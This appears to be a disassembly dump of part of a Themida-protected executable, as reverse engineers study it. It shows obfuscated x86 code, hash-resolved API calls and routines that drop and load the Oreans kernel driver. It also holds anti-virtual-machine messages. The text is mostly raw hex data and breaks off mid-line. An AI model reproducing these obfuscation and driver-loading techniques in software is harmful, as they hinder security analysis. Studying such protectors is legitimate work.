14EE8h, 61BD0300h dd 830615B3h, 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h dd 0B58D0000h, 615B303h, 126E8h, 61BD0300h, 830615B3h dd 15B361BDh, 840F0006h, 0Ah, 234585C7h, 10613h, 0B58D0000h dd 615B30Eh, 0FEE8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h dd 0Ah, 8A585C7h, 10613h, 0B58D0000h, 615B314h, 0D6E8h dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 23C585C7h dd 10613h, 0B58D0000h, 615B31Ah, 0AEE8h, 61BD0300h, 830615B3h dd 15B361BDh, 840F0006h, 0Ah, 34C985C7h, 10613h, 0B58D0000h dd 615B328h, 86E8h, 61BD0300h, 830615B3h, 15B361BDh, 840F0006h dd 0Ah, 0F6585C7h, 10613h, 0B58D0000h, 615B335h, 5EE8h dd 61BD0300h, 830615B3h, 15B361BDh, 840F0006h, 0Ah, 34E585C7h dd 10613h, 0B58D0000h, 615B340h, 36E8h, 61BD0300h, 830615B3h dd 15B361BDh, 840F0006h, 0Ah, 195D85C7h, 10613h, 1E90000h dd 47000000h, 0F203F80h, 984h, 3F8000h, 0FFED850Fh, 60C3FFFFh dd 1B9h, 0E9DE8B00h, 1Ch, 0F003F80h, 585h, 0B900h, 178A0000h dd 840F1638h, 2, 4746C92Bh, 0F003E80h, 884h, 0FC90B00h dd 0FFFFD385h, 0FC90BFFh, 2184h, 3F8000h, 9840Fh, 3F800000h dd 0A850F20h, 0B9000000h, 1, 5E9h, 0B900h, 0C90B0000h dd 0D840Fh, 0F32B0000h, 0B361B589h, 0AE90615h, 0C7000000h dd 15B36185h, 6, 0B8C36100h, 0 ; --------------------------------------------------------------------------- or eax, eax jz loc_5A79C2 mov dword ptr [ebp+6132345h], 0 loc_5A79C2: ; CODE XREF: Themida_:005A79B2j mov ecx, eax jmp loc_5A7BD7 ; --------------------------------------------------------------------------- a3cannotWriteOr db '3Cannot write oreans.vxd',0Ah db 0Dh,'Make sure that this file is not being used by another program.',0 align 4 dd 67h dup(0) dd 724F5C00h, 736E6165h, 6478762Eh, 2 dup(0) db 3 dup(0) ; --------------------------------------------------------------------------- loc_5A7BD7: ; CODE XREF: Themida_:005A79C4j jmp loc_5A7CCB ; --------------------------------------------------------------------------- mov byte ptr [ebp+61311E1h], 47h push 0E3E45B86h push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax push 104h lea ebx, [ebp+613178Dh] push ebx call eax push eax lea esi, [ebp+615B8F7h] mov edi, esi xor al, al loc_5A7C0F: ; CODE XREF: Themida_:005A7C10j scasb jnz loc_5A7C0F sub edi, esi mov ecx, edi pop eax mov edi, ebx add edi, eax rep movsb mov byte ptr [ebp+61311E1h], 43h push 0BC8E6EFCh push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax lea esi, [ebp+613178Dh] push 0 push 80h push 2 push 0 push 0 push 0C0000000h push esi call eax mov ebx, eax mov byte ptr [ebp+61311E1h], 57h push 0A69BEE56h push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax lea edi, [ebp+6132B8Dh] lea ecx, [ebp+615BA1Dh] push 0 push edi push 37D0h push ecx push ebx call eax test eax, eax jnz loc_5A7CAD lea esi, [ebp+615B6FFh] lea eax, [ebp+615A34Dh] call eax lea ecx, [ebp+6137533h] mov eax, 0 jmp ecx ; --------------------------------------------------------------------------- loc_5A7CAD: ; CODE XREF: Themida_:005A7C8Cj mov byte ptr [ebp+61311E1h], 43h push 0C0764AA7h push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax push ebx call eax retn ; --------------------------------------------------------------------------- loc_5A7CCB: ; CODE XREF: Themida_:loc_5A7BD7j mov ecx, 37D0h call $+5 pop eax add eax, 0Eh mov [eax], ecx jmp loc_5A7CE2 ; --------------------------------------------------------------------------- mov eax, ebx loc_5A7CE2: ; CODE XREF: Themida_:005A7CDBj jmp loc_5AB4B7 ; --------------------------------------------------------------------------- db 4Dh dd 300905Ah, 4000000h, 0FF000000h, 0B80000FFh, 0 dd 40000000h, 8 dup(0) dd 0B0000000h, 0E000000h, 0EBA1Fh, 21CD09B4h, 0CD4C01B8h dd 69685421h, 72702073h, 6172676Fh, 6163206Dh, 746F6E6Eh dd 20656220h, 206E7572h, 44206E69h, 6D20534Fh, 2E65646Fh dd 240A0D0Dh, 0 dd 5D000000h, 19DB1D17h, 2 dup(19887376h), 0E5887376h dd 18886156h, 19887376h, 18887376h, 52887376h, 19686369h dd 887376h, 0 dd 4C000000h, 45h, 2000000h, 400h, 0 dd 14000380h, 5 dup(0) dd 0C0000002h, 90000001h, 0 dd 7E000000h, 0 dd 0C4000000h, 1000000h, 0DC000000h, 3 dup(0) dd 2C000000h, 38000001h, 1, 0 dd 42000000h, 96000001h, 0D2000001h, 1, 0D2000000h, 1 dd 0 dd 14000010h, 0C0000000h, 10000037h, 0Dh dup(0) dd 0C0040000h, 27h, 45000000h, 1000020h, 14000000h, 4C000000h dd 444F43h, 100h, 200h, 300h, 400h, 500h, 600h, 700h, 800h dd 900h, 0A00h, 0B00h, 0C00h, 0D00h, 0E00h, 0F00h, 1000h dd 1100h, 1200h, 1300h, 8001400h, 4F525058h, 44585654h dd 1000000h, 3000103h, 2 dup(0) dd 13h dup(700h), 3C00h, 18000700h, 27600100h, 1AD0007h dd 7005001h, 1019100h, 27279Bh, 276F0106h, 17D0179h, 1850181h dd 18D0189h, 1750007h, 7279501h, 1017100h, 72798h, 7101016Bh dd 27h, 360h dup(0) dd 1000004h, 58000000h, 544F5250h, 445856h, 800000h, 8 dup(0) dd 76000000h, 50507265h, 31000000h, 32527376h, 33527376h dd 527376h, 9C3h dup(0) dd 83000000h, 0F8831BE8h, 0FF077309h, 8524h, 0C3F80000h dd 5 dup(0) db 2 dup(0) word_5AB46E dw 0 ; CODE XREF: Themida_:005AB4C1j dd 3 dup(0) ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- xor eax, eax retn ; --------------------------------------------------------------------------- cmp dword ptr [esi+0Ch], 0 jnz short loc_5AB48C xor eax, eax jmp short locret_5AB4A6 ; --------------------------------------------------------------------------- loc_5AB48C: ; CODE XREF: Themida_:005AB486j cmp dword ptr [esi+0Ch], 1 jnz short locret_5AB4A6 lea eax, large ds:0 mov edi, [esi+18h] mov [edi], eax mov dword ptr [esi+20h], 4 xor eax, eax locret_5AB4A6: ; CODE XREF: Themida_:005AB48Aj ; Themida_:005AB490j retn ; --------------------------------------------------------------------------- db 0Ch aXprotvxd_ddb db 'XPROTVXD_DDB',0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5AB4B7: ; CODE XREF: Themida_:loc_5A7CE2j call sub_5AB4CD mov ecx, 4A3E2865h jz short near ptr word_5AB46E pop esp pusha and eax, 62EF1CF0h loope near ptr loc_5AB53D+2 inc ecx ; =============== S U B R O U T I N E ======================================= sub_5AB4CD proc near ; CODE XREF: Themida_:loc_5AB4B7p stc pop eax jl loc_5AB4E1 jnb loc_5AB4E1 mov edi, [ebp+6130061h] loc_5AB4E1: ; CODE XREF: sub_5AB4CD+2j ; sub_5AB4CD+8j add eax, 62EEh mov bl, 0D2h xor ecx, ecx pusha mov cl, 0DBh jl loc_5AB4FA mov ecx, [ebp+6130595h] loc_5AB4FA: ; CODE XREF: sub_5AB4CD+21j popa loc_5AB4FB: ; CODE XREF: sub_5AB4CD+A5j mov esi, [eax+ecx] mov di, 49EBh add esi, 2B14EC77h adc di, 3725h sub esi, 242DE4DAh mov [ebp+61323FDh], esi sub esi, 54161C9Bh mov [ebp+61312BDh], ebx mov [eax+ecx], esi jmp loc_5AB537 ; --------------------------------------------------------------------------- db 7Ch, 89h, 0BBh dd 9E6FFF35h db 0EAh, 0D6h, 0C2h ; --------------------------------------------------------------------------- loc_5AB537: ; CODE XREF: sub_5AB4CD+5Bj add [ebp+6132A5Dh], eax loc_5AB53D: ; CODE XREF: Themida_:005AB4CAj sub ecx, 4 sub [ebp+61318D5h], edi cmp ecx, 0FFFF9DDCh jnz loc_5AB570 mov [ebp+6132D01h], edi jmp loc_5AB58A ; --------------------------------------------------------------------------- db 86h, 5Ch, 0CDh dd 290DBA75h, 3BA72F4Dh, 9D4D570Ah, 9ED98809h ; --------------------------------------------------------------------------- loc_5AB570: ; CODE XREF: sub_5AB4CD+7Fj mov bl, 0E7h jmp loc_5AB4FB ; --------------------------------------------------------------------------- db 97h dd 0C51B13C6h, 920EAF07h, 0BE05B278h, 0D1544DECh db 0D7h, 0E8h ; --------------------------------------------------------------------------- loc_5AB58A: ; CODE XREF: sub_5AB4CD+8Bj jmp loc_5AC646 ; --------------------------------------------------------------------------- db 41h dd 50415644h, 2E323349h, 4C4C44h, 6E65704Fh, 614D4353h dd 6567616Eh, 43004172h, 74616572h, 72655365h, 65636976h dd 74530041h, 53747261h, 69767265h, 416563h, 4E746547h dd 76697461h, 73795365h, 496D6574h, 6F666Eh, 6E65704Fh dd 76726553h, 41656369h, 6C654400h, 53657465h, 69767265h dd 43006563h, 65736F6Ch, 76726553h, 48656369h, 6C646E61h dd 6F430065h, 6F72746Eh, 7265536Ch, 65636976h, 8 dup(0) dd 65726F00h, 33736E61h, 79732E32h, 73h, 0 dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0) aOreans32 db 'oreans32',0 a_Oreans32 db '\\.\oreans32',0 a_GlobalOreans3 db '\\.\Global\oreans32',0 aOreansx64 db 'oreansx64',0 a_GlobalOreansx db '\\.\Global\oreansx64',0 align 10h dd 41h dup(0) dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h dd 736E6165h, 732E3233h, 7379h, 48h dup(0) dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h dd 676F7270h, 2E6D6172h, 59h dup(0) dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0) dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0) dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 4F5C7325h, 6E616572h, 78762E73h, 64h, 2 dup(0) aXprotevent db 'XprotEvent',0 align 10h dd 0Ah dup(0) dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0) dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h dd 40800h, 94h, 5, 1, 0A28h, 2, 76726553h, 20656369h, 6B636150h dd 3220h, 1Dh dup(0) dd 74666F53h, 65726177h, 6E69575Ch db 65h, 0 ; --------------------------------------------------------------------------- loc_5AC646: ; CODE XREF: sub_5AB4CD:loc_5AB58Aj mov eax, esp mov dh, 4Ah mov [ebp+6130E81h], eax mov di, 0BF07h mov eax, eax jmp loc_5AC66D ; --------------------------------------------------------------------------- db 99h dd 0F7161FC0h, 0FE2BC48Bh, 3CC1B091h, 9CCD2D42h ; --------------------------------------------------------------------------- inc ebp loc_5AC66D: ; CODE XREF: sub_5AB4CD+1189j cmp dword ptr [ebp+6131625h], 0 jnz short loc_5AC67F cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AC698 loc_5AC67F: ; CODE XREF: sub_5AB4CD+11A7j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A97Dh] call ebx ; _iob pop ebx pop eax loc_5AC698: ; CODE XREF: sub_5AB4CD+11B0j cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AC6B8 push eax push ebx mov eax, 43Dh mov [ebp+6130D7Dh], eax lea ebx, [ebp+615A66Ch] call ebx ; _iob pop ebx pop eax loc_5AC6B8: ; CODE XREF: sub_5AB4CD+11D2j jle loc_5AC6C1 sbb dl, 23h loc_5AC6C1: ; CODE XREF: sub_5AB4CD:loc_5AC6B8j push 0 push ecx call sub_5AC6CC and [ecx-3Dh], bl sub_5AB4CD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5AC6CC proc near ; CODE XREF: sub_5AB4CD+11F7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5AC6CC endp ; --------------------------------------------------------------------------- dd 97E30338h, 4E0CC895h, 19852988h, 8B06130Bh, 198589C0h dd 8106130Eh, 0CE6A3DEAh, 0E9C08B74h, 6, 0BF9B9739h, 0BD839B5Dh dd 6131625h, 83097500h, 132C81BDh, 13740006h, 0C08B5350h dd 0B8h, 1F9D8D00h, 0FF0615A8h, 83585BD3h, 132C81BDh, 11740006h dd 0B85350h, 8D000000h, 15A6D09Dh, 5BD3FF06h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0D828BFC0h, 97B1F82Fh, 0EE960h, 70790000h, 0CDD7DCDEh dd 0C45ADF4Eh, 0D4CE7398h, 19F18589h, 8B610613h, 7E9C0h dd 0FC540000h, 0A0A2A439h, 0E9C08B52h, 6, 966C438Ch, 8B669A44h dd 25BD83F8h, 61316h, 0BD830975h, 6132C81h, 50137400h dd 0B8C08B53h, 0 ; --------------------------------------------------------------------------- lea ebx, [ebp+615A751h] call ebx ; _iob pop ebx pop eax cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AC7E0 push eax push ebx mov eax, 0 lea ebx, [ebp+615A69Eh] call ebx ; _iob pop ebx pop eax loc_5AC7E0: ; CODE XREF: Themida_:005AC7CDj mov dx, 7894h mov edx, 6D7D7E4Eh or cx, 6C0Dh mov eax, eax mov edx, ebx mov eax, eax jmp loc_5AC809 ; --------------------------------------------------------------------------- pop edi adc eax, [edx] and dword ptr [edx+583B8D55h], 0FFFFFF99h cmc mov edi, 0DBEB437h loc_5AC809: ; CODE XREF: Themida_:005AC7F4j mov edi, [ebp+6130F01h] cmp dword ptr [ebp+6131625h], 0 jnz short loc_5AC821 cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AC834 loc_5AC821: ; CODE XREF: Themida_:005AC816j push eax push ebx mov eax, eax ; CODE XREF: Themida_:005AC896j mov eax, 0 lea ebx, [ebp+615A7B8h] call ebx ; _iob pop ebx pop eax loc_5AC834: ; CODE XREF: Themida_:005AC81Fj cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AC84E push eax push ebx mov eax, 0 lea ebx, [ebp+615A6B7h] call ebx ; _iob pop ebx pop eax loc_5AC84E: ; CODE XREF: Themida_:005AC83Bj mov dx, 3692h or edx, 38519D3Eh mov eax, eax stc mov eax, eax xor cx, 93D8h cmp dword ptr [ebp+6131625h], 0 jnz short loc_5AC874 cmp dword ptr [ebp+6132C81h], 0 jz short loc_5AC887 loc_5AC874: ; CODE XREF: Themida_:005AC869j push eax push ebx mov eax, eax mov eax, 0 lea ebx, [ebp+615A6EAh] call ebx ; _iob pop ebx pop eax loc_5AC887: ; CODE XREF: Themida_:005AC872j call near ptr loc_5AC88E+5 repne pop ds loc_5AC88E: ; CODE XREF: Themida_:loc_5AC887p sub [eax-7EBC3B9Dh], bh fldenv byte ptr [edx] jecxz short near ptr loc_5AC823+1 db 3Eh pop edi add ecx, [ebp+6132485h] mov eax, eax push 0 push ecx call sub_5AC8AD and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AC8AD proc near ; CODE XREF: Themida_:005AC8A5p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5AC8AD endp ; --------------------------------------------------------------------------- db 0ABh, 0D9h, 6Fh dd 4ADB3C08h, 85BD8B6Fh, 8A061313h, 0FC08BD3h, 0F86h, 0AE900h dd 652A0000h, 4F930C5Bh, 0D54F7791h, 1625BD83h, 75000613h dd 81BD8309h, 6132Ch, 53501974h, 0D0B8C08Bh, 89000007h dd 130D7D85h, 7D9D8D06h, 0FF0615A9h, 83585BD3h, 132C81BDh dd 17740006h, 0D0B85350h, 89000007h, 130D7D85h, 6C9D8D06h dd 0FF0615A6h, 6A585BD3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 0DF56C352h, 8AA7B992h dd 0BD8B3237h, 6130B41h, 0C8A0Fh, 7E90000h, 50000000h dd 0BE409405h, 0C08BA561h, 0C6CF8B66h, 1311E185h, 6A5306h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 5B6F62C3h, 1E8C860Eh, 58B0F9Bh, 66000000h, 0D873EF81h dd 395F9068h, 0B96699h, 6DB5FF33h, 80061311h, 858DE2E6h dd 6133AADh, 1D41BD8Bh, 0D0FF0613h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 6FC35141h, 0AA450E38h, 89E6D034h dd 131D8985h, 0B5BD8906h, 0C606130Eh, 1311E185h, 6A5706h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h dd 196560C3h, 66862CEh, 50900452h, 68E0Fh, 8A0F0000h, 0 dd 6DB5FF5Ah, 31061311h, 132A818Dh, 0AD858D06h, 0E806133Ah dd 0Eh, 695D5572h, 0DE1E1915h, 9A3DD322h, 880FB132h, 2 dd 66596160h, 0FFE96FBAh, 0B70FF5D0h, 0AD8589D6h, 6A061331h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0D4F6C353h, 11E185C6h, 89430613h, 1300A5BDh dd 70286806h, 0EFB9BC90h, 0FF7C382Eh, 13116DB5h, 68F0F06h dd 8B000000h, 13323D95h, 0AD858D06h, 8906133Ah, 1325B1BDh dd 0BFD0FF06h, 1D1EDD91h, 12898589h, 0BF660613h, 85C628A6h dd 61311E1h, 0FD95234Ch, 68061322h, 0D9DA1CE9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 46C35343h, 2DB52950h dd 0FF061309h, 13116DB5h, 0DE906h, 202E0000h, 44463F1Ch dd 681324Ah, 8D482D9Fh, 133AAD85h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 65D24C13h dd 30A59589h, 0E8600613h, 11h, 8BB8806Dh, 0F71C98C7h, 0B120B9C1h dd 3EFA4476h, 6AEE8124h, 5E55C69Bh, 28819D01h, 0FF610613h dd 3BBF66D0h, 0ED85892Fh, 6A061311h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 3FBC353h dd 33920B34h, 0C6885CD3h, 1311E185h, 0E8B14606h, 0DE061468h dd 57006ABAh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 6259A6C1h, 11952BDBh, 0FF061328h, 13116DB5h dd 858DFC06h, 6133AADh, 850FD0FFh, 6, 0B4DBD29h, 85890613h dd 6131CF9h, 0E1E38160h, 0E97D320Fh, 9, 0FFDFD97Bh, 0ED5DB1E9h dd 85C661D8h, 61311E1h, 49958947h, 68061301h, 8A0FB5E2h dd 0BA8EB760h, 6499A355h, 6DB5FF61h, 6A061311h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h dd 873AC352h, 0C0D31788h, 858DFB8Bh, 6133AADh, 6AD0FFF8h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 0A349C356h, 0BE9h, 37C39E00h, 0CF444D8h dd 413722DAh, 6800Fh, 9D890000h, 6131B99h, 8A19503h, 85890613h dd 6131315h, 398D3352h, 5F061332h, 11E185C6h, 6A470613h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 33FEC352h, 5F28CC7Fh, 0ED8D9FA6h, 0D0B5F368h dd 0E5958B83h, 0FF061309h, 13116DB5h, 68A0F06h, 8B000000h dd 13254995h, 0AD858D06h, 8106133Ah, 160068D7h, 89D0FF5Bh dd 131621BDh, 15858906h, 0F06131Bh, 85C6D7B7h, 61311E1h dd 19958B77h, 6606131Dh, 6885DDBFh, 0F397A8A3h, 2B21BD31h dd 0B5FF0613h, 61310D1h, 0A35958Bh, 858D0613h, 6133AADh dd 0BE9h, 0EFEB3600h, 5E8023BBh, 4709E2DEh, 1D7D8D29h dd 0D0FF0613h, 8962EA80h, 13118585h, 0E185C606h, 47061311h dd 16D8D0Bh, 0F88B0613h, 28FAF668h, 7D8D8B87h, 0FF061320h dd 13116DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1604h, 0C3504000h, 8DA62361h, 133AAD85h, 0D7B70F06h dd 8589D0FFh, 61304C9h, 30718589h, 0B70F0613h, 199589CBh dd 0C6061332h, 1311E185h, 0FE94306h, 50000000h, 1452232Dh dd 0B0A3795h, 87BEEE18h, 0FC6850CCh, 89BC8E6Eh, 1310A98Dh dd 6DB5FF06h, 8B061311h, 1321618Dh, 0AD858D06h, 8906133Ah dd 131E5595h, 66D0FF06h, 0D009DA81h, 1B9D8589h, 0B9600613h dd 3AC48D9Ah, 61D2BF0Fh, 56FBA66h, 11E185C6h, 0E9450613h dd 12h, 1F48A7B6h, 41868D2Eh, 12D2D3E9h, 380BEA25h, 6968043Ah dd 808E7269h, 0B5FF61EDh, 613116Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 15h, 0BDC35646h, 9E1EBF40h, 858D13C2h dd 6133AADh, 180FB966h, 0E981D0FFh, 1CDE1532h, 1CBD8589h dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h dd 56460000h, 96992BC3h, 8B32138Fh, 130E858Dh, 0E185C606h dd 44061311h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 29C35242h, 385CDA81h, 6468765Ah, 0FB8F2ECh, 0B5FFD3B7h dd 613116Dh, 26D2BF66h, 3AAD858Dh, 6A0613h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 150424h, 56460000h, 0FF8AD8C3h dd 5BD03D0h, 89061313h, 130C5185h, 927EBF06h, 85C63461h dd 61311E1h, 53006A43h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 282323CCh, 0F1ECF5Ch, 0A768FABFh dd 0E9C0764Ah, 7, 272C6AF5h, 66B7AC61h, 0FF92A0BAh, 13116DB5h dd 71950B06h, 8D061320h, 133AAD85h, 21B50106h, 0FF061300h dd 0E59589D0h, 89061321h, 13120985h, 53006A06h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 83BCCFEAh dd 29638B34h, 60532FCBh, 0BD89C28Bh, 6130FDDh, 0BD805961h dd 615FEB3h, 0DD840F00h, 0E9000000h, 9, 58841389h, 90277518h dd 95858DC8h, 500615FEh, 6A016AF8h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0BC30C357h dd 78557F12h, 8B1CC9AFh, 1313C9BDh, 0F8006A06h, 0FFFC006Ah dd 13128995h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 67F056A9h, 4880Fh, 0BF660000h, 8589B1B1h dd 61313A9h, 0FF6AD08Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 16C35141h, 891E8A63h, 0C46ADDC5h, 0A9B5FF28h dd 6A061313h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 6D0BC351h, 1CC88515h, 0D3C1BF66h dd 31AD95FFh, 95890613h, 6130B45h, 83F9C08Bh, 131625BDh dd 9750006h, 2C81BD83h, 74000613h, 8B535019h, 7D1B8C0h dd 85890000h, 6130D7Dh, 0A97D9D8Dh, 0D3FF0615h, 0BD83585Bh dd 6132C81h, 50177400h, 7D1B853h, 85890000h, 6130D7Dh dd 0A66C9D8Dh, 0D3FF0615h, 8589585Bh, 61323C1h, 8BFABF0Fh dd 0BE9C0h, 35320000h, 0D0FB17E0h, 7A8F87C7h, 0E185C698h dd 47061311h, 12E9h, 0B17CCD00h, 826CCF1Ah, 86CADA64h dd 10FE4800h, 8B526D36h, 1311718Dh, 0F7C16806h, 9E993C8h dd 13000000h, 8247F391h, 1BB3AC7Dh, 116DB5FFh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 23B354C3h, 4349AFF8h, 0AD858DDBh, 0F06133Ah, 883h, 95095100h dd 6133219h, 6AD0FF5Fh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1D042444h, 47000000h, 241DC357h, 0C25EDC97h dd 5A457ED5h, 0D6858D50h, 89061602h, 13309985h, 9400C706h dd 0F000000h, 77BAC9BFh, 5868FECBh, 0CA477BBFh, 0D6B58D2Dh dd 6A061602h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 5F34C355h, 382A06D2h, 9597E303h dd 14919D89h, 0E8560613h, 11h, 91703273h, 0A2121192h, 0DDA5DD8Eh dd 0A268488Ah, 38A0FBCh, 66000000h, 0FF5FF98Bh, 0DD8D0BD0h dd 0BA061314h, 5FD576D6h, 2D6858Dh, 89500616h, 131FD19Dh dd 78835906h, 850F0604h, 15h, 16B5958Bh dd 85C70613h, 616036Ah, 1, 0F1C78166h, 31BD83F3h, 6130Ah dd 38850Fh, 95890000h, 613306Dh, 36ABD83h, 0F000616h, 2585h dd 0BAC18100h, 8326852Eh, 131129BDh, 840F0006h, 12h, 0C7FABF0Fh dd 1307E585h, 6, 6EAEBA00h, 8C662D9Eh, 0F635B2DBh, 840F04C3h dd 4B1h, 899B529h, 85C70613h, 613173Dh, 0 ; --------------------------------------------------------------------------- adc ecx, 315D9712h cmp byte ptr [ebp+615FEC0h], 0 jnz loc_5AD2B9 mov [ebp+6131571h], eax loc_5AD2B9: ; CODE XREF: Themida_:005AD2ADj mov byte ptr [ebp+61311E1h], 47h pusha mov ch, 0CFh add dx, 33CEh popa push 0E3E45B86h push 0 push edx call sub_5AD2D9 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5AD2D9 proc near ; CODE XREF: Themida_:005AD2D1p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5AD2D9 endp ; --------------------------------------------------------------------------- db 25h, 0F9h, 0A5h dd 78B7871h, 6DB5FFC5h, 8A061311h, 0AD858DD7h, 0F06133Ah dd 287h, 0FFC1B500h, 4D958BD0h, 